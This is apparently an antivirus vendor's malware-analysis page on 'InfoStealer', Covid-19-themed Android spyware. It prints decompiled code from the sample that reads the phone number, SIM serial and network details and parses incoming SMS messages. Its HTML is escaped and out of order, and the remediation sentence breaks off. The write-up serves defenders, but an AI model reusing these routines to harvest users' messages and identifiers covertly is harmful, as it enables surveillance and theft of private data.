Degree of destruction<\/strong>: average<\/p>\n Prevalence<\/strong>: average<\/p>\n By installing Spyware on your phone, the user\u2019s data security is always under threat and each second, it is possible to be stolen and received by an unauthorized person. Usually, spyware is installed on the phone secretly and out of the user\u2019s sight and performs its actions in complete secrecy. This kinds of spyware collect the necessary data about the user\u2019s activity on the phone or any other data that is necessary and at the right time will send it to another person. Usually, spyware by deceiving users on the internet will be installed on their phones, as a useful and applicant application. The malware collects the information about user\u2019s activity on the phone such as passwords, credit card information, and other security information such as compressed buttons by the keyboard and the user\u2019s call list, contact list, sending and receiving a text message, etc.<\/p>\n Malware writers, due to the current global situation, attempt to promote different malware families such as Banking Trojans, spyware, and SLocker Trojans based on the Covid-19 pandemic. Criminals seducing the current situation of the coronavirus pandemic to distribute malware applications related to this disease. A bunch of these applications are Coronavirus trackers, symptoms detection, maps, etc. In the current situation, people tend to install these kinds of applications and the likeliness of downloading these applications from invalid resources and markets is high. In most cases, the goal is to steal personal data such as SMSs, call reports, contacts lists, etc. InfoStealer is just a sample of spyware applications based on Covid-19.<\/p>\n Users install this application to get more information about the Coronavirus pandemic, but since this is spyware, will collect more sensitive information from the user\u2019s phone and send it to the infected server. As soon as running the application, the main function will start for a second but immediately the application will be closed. But in the background, a process will be processed and due to it the malicious codes will be run and the infecting operation will be initiated. The malware will connect to its command and control server and collect the sensitive data from the user\u2019s phone and sends them to its server. The address of this infected server, is in the assets folder, on the Settings.xml site.<\/p>\n After attempting a connection with the infected server, the malware will collect the following information from the user\u2019s phone and send it to the server:<\/p>\n \u00a0<\/strong>it will specify the phone model and manufacturer<\/p>\n To ensure that the system is not infected, install the What is spyware?<\/h3>\n
What is the InfoStealer malware family?<\/h3>\n
Technical Explanation<\/h2>\n
![\"\"](\"https:\/\/threats.amnpardaz.com\/en\/wp-content\/uploads\/sites\/5\/2020\/11\/covif.jpg\")
<\/p>\n\n
public static String GetLine1Number()<\/code><\/p>\n{<\/code><\/p>\nString str2 = ((TelephonyManager)BA.applicationContext.getSystemService(\"phone\")).getLine1Number();<\/code><\/p>\nString str1 = str2;<\/code><\/p>\nif (str2 == null) {<\/code><\/p>\nstr1 = \"\";<\/code><\/p>\n}<\/code><\/p>\nreturn str1;<\/code><\/p>\n}<\/code><\/p>\npublic static String GetSimSerialNumber()<\/code><\/p>\n{<\/code><\/p>\nString str2 = ((TelephonyManager)BA.applicationContext.getSystemService(\"phone\")).getSimSerialNumber();<\/code><\/p>\nString str1 = str2;<\/code><\/p>\nif (str2 == null) {<\/code><\/p>\nstr1 = \"\";<\/code><\/p>\n}<\/code><\/p>\nreturn str1;<\/code><\/p>\n}<\/code><\/p>\n\n
\u00a0public static String GetNetworkType()<\/code><\/p>\n\u00a0 {<\/code><\/p>\n\u00a0\u00a0\u00a0 switch (((TelephonyManager)BA.applicationContext.getSystemService(\"phone\")).getNetworkType())<\/code><\/p>\n\u00a0\u00a0\u00a0 {<\/code><\/p>\n\u00a0\u00a0\u00a0 default:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"UNKNOWN\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 7:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"1xRTT\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 4:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"CDMA\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 14:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EHRPD\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 2:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EDGE\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 5:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EVDO_0\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 6:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EVDO_A\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 12:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"EVDO_B\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 1:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"GPRS\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 8:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"HSDPA\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 10:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"HSPA\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 15:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"HSPAP\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 9:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"HSUPA\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 11:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"IDEN\";<\/code><\/p>\n\u00a0\u00a0\u00a0 case 13:<\/code><\/p>\n\u00a0\u00a0\u00a0\u00a0\u00a0 return \"LTE\";<\/code><\/p>\n\u00a0\u00a0\u00a0 }<\/code><\/p>\n\u00a0\u00a0\u00a0 return \"UMTS\";<\/code><\/p>\n\u00a0 }<\/code><\/p>\n\n
{<\/code><\/p>\nswitch (((TelephonyManager)BA.applicationContext.getSystemService(\"phone\")).getPhoneType())<\/code><\/p>\n{<\/code><\/p>\ndefault:<\/code><\/p>\nreturn \"NONE\";<\/code><\/p>\ncase 2:<\/code><\/p>\nreturn \"CDMA\";<\/code><\/p>\n}<\/code><\/p>\nreturn \"GSM\";<\/code><\/p>\n}<\/code><\/p>\n\n
public static _message[] _parsesmsintent()<\/code><\/p>\nthrows Exception<\/code><\/p>\n{<\/code><\/p>\nObject localObject2 = new IntentWrapper();<\/code><\/p>\n((IntentWrapper)localObject2).Initialize(\"android.provider.Telephony.SMS_RECEIVED\", \"\");<\/code><\/p>\nObject localObject1 = new _message[0];<\/code><\/p>\nint j = localObject1.length;<\/code><\/p>\nint i = 0;<\/code><\/p>\nwhile (i < j)<\/code><\/p>\n{<\/code><\/p>\nlocalObject1[i] = new _message();<\/code><\/p>\ni += 1;<\/code><\/p>\n}<\/code><\/p>\nif (!((IntentWrapper)localObject2).HasExtra(\"pdus\")) {<\/code><\/p>\nreturn (_message[])localObject1;<\/code><\/p>\n}<\/code><\/p>\nObject localObject3 = new Object[0];<\/code><\/p>\nj = localObject3.length;<\/code><\/p>\ni = 0;<\/code><\/p>\nwhile (i < j)<\/code><\/p>\n{<\/code><\/p>\nlocalObject3[i] = new Object();<\/code><\/p>\ni += 1;<\/code><\/p>\n}<\/code><\/p>\nlocalObject3 = new Reflection();<\/code><\/p>\nObject[] arrayOfObject = (Object[])((IntentWrapper)localObject2).GetExtra(\"pdus\");<\/code><\/p>\nif (arrayOfObject.length > 0)<\/code><\/p>\n{<\/code><\/p>\nlocalObject2 = new _message[arrayOfObject.length];<\/code><\/p>\nj = localObject2.length;<\/code><\/p>\ni = 0;<\/code><\/p>\nwhile (i < j)<\/code><\/p>\n{<\/code><\/p>\nlocalObject2[i] = new _message();<\/code><\/p>\ni += 1;<\/code><\/p>\n}<\/code><\/p>\nj = arrayOfObject.length;<\/code><\/p>\ni = 0;<\/code><\/p>\nfor (;;)<\/code><\/p>\n{<\/code><\/p>\nlocalObject1 = localObject2;<\/code><\/p>\nif (i > j - 1) {<\/code><\/p>\nbreak;<\/code><\/p>\n}<\/code><\/p>\n((Reflection)localObject3).Target = ((Reflection)localObject3).RunStaticMethod(\"android.telephony.SmsMessage\", \"createFromPdu\", new Object[] { arrayOfObject[i] }, new String[] { \"[B\" });<\/code><\/p>\nlocalObject2[i].Body = BA.ObjectToString(((Reflection)localObject3).RunMethod(\"getMessageBody\"));<\/code><\/p>\nlocalObject2[i].Address = BA.ObjectToString(((Reflection)localObject3).RunMethod(\"getOriginatingAddress\"));<\/code><\/p>\ni += 1;<\/code><\/p>\n}<\/code><\/p>\n}<\/code><\/p>\nreturn (_message[])localObject1;<\/code><\/p>\n}<\/code><\/p>\nHow to deal with it and disinfect the system<\/h2>\n